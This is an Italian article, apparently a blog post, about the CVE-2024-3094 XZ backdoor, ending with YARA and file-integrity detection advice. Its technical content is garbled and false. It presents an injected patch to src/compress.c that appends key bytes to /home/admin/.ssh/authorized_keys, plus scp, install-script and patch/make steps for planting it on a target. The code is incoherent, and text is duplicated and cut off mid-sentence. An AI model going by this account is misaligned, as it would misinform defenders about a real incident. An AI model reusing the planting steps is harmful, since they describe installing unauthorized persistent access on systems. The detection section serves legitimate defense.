
CVE-2024-3094 ha esposto un backdoor nella libreria di compressione XZ, consentendo l'accesso SSH remoto bypassando l'autenticazione. Si tratta di un grave attacco alla supply chain che colpisce i sistemi Linux, evidenziando i rischi nei componenti open-source considerati affidabili.
CVE-2024-3094 ha esposto una backdoor nella libreria di compressione XZ, consentendo l'accesso SSH remoto eludendo l'autenticazione. Si tratta di un grave attacco alla supply chain che colpisce i sistemi Linux, evidenziando i rischi nei componenti open source fidati.
Di Mark Mallia
La libreria di compressione XZ, componente fondamentale di molte moderne distribuzioni Linux, è diventata il bersaglio di un sofisticato attacco alla supply chain.
Un frammento di codice malevolo è stato introdotto nell'albero dei sorgenti, compilato e ora viaggia con ogni nuova release del pacchetto XZ. Una volta installata, la backdoor può aprire una sessione SSH dall'host compromesso a qualsiasi sistema remoto che si fida di essa come chiave autentica.
authorized_keys, gli aggressori ottengono un punto d'appoggio senza richiedere l'interazione diretta dell'utente.--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512 è scelto in modo che la nostra chiave cada nel buffer di output compresso in una posizione improbabile da alterare in successive compressioni XZ.$ cd xz
$ make
$ sudo make install
I comandi sopra compilano il compress.c modificato e installano la nuova libreria sotto /usr/local/lib/xz.
Supponendo che un aggressore abbia già credenziali SSH (utente admin), esegue:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
install_xz_backdoor.sh contiene la sequenza esatta di comandi mostrata sopra, più un piccolo echo che conferma l'avvenuta installazione.
YARA è uno strumento di pattern matching utilizzato dai professionisti della sicurezza per identificare e classificare malware basandosi su firme testuali o binarie. Consente agli analisti di definire regole che rilevano stringhe specifiche, sequenze di byte o comportamenti all'interno dei file. Nel contesto di CVE-2024-3094, YARA è particolarmente rilevante perché può essere utilizzato per scansionare la presenza della chiave SSH iniettata e le modifiche sospette al file compress.c nella libreria XZ. Creando regole YARA mirate, i difensori possono rilevare proattivamente i sistemi compromessi da questa backdoor.
Firma YARA Una regola YARA personalizzata può segnalare la presenza della chiave SSH iniettata e le scritture sospette su file:
rule XZ_Backdoor_SSH_Key_Injection {
meta:
description = "Rileva l'iniezione di chiave SSH tramite compress.c modificato"
author = "Mark Mallia"
severity = "high"
strings:
$marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 }
$ssh_path = "/home/admin/.ssh/authorized_keys"
condition:
$marker and $ssh_path
}
Monitoraggio dell'integrità dei file Distribuisci strumenti come Tripwire, AIDE o osquery per monitorare:
compress.c per modifiche non autorizzate.ssh/authorized_keys per chiavi iniettate/usr/local/lib/xz per binari manomessi.ssh/authorized_keys| Passo | Azione | File / Funzione |
|---|
| 1 | Clona il repository XZ | git clone https://github.com/xzdev/xz |
| 2 | Applica la patch a src/compress.c | patch -p0 < backdoor.patch |
| 3 | Compila e installa sul sistema Linux di destinazione | make && make install |
| 4 | Il demone SSH legge la chiave iniettata durante il processo di autenticazione | /etc/ssh/authorized_keys |